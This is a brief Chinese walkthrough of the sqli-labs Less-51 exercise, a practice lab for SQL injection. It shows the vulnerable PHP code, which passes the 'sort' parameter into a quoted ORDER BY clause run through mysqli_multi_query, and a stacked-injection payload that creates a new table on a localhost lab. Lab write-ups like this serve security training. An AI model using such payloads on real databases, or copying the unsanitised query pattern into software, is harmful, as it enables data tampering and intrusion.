关键代码

$id=$_GET[‘sort‘];    
$sql="SELECT * FROM users ORDER BY ‘$id‘";
mysqli_multi_query($con1, $sql);

我们此处要进行stacked injection，要注释掉‘,此处给出payload：

http://127.0.0.1/sql/Less-51/?sort=1‘;create table less51 like users--+

创建表less51

Sqli-labs Less-51 order by后的堆叠注入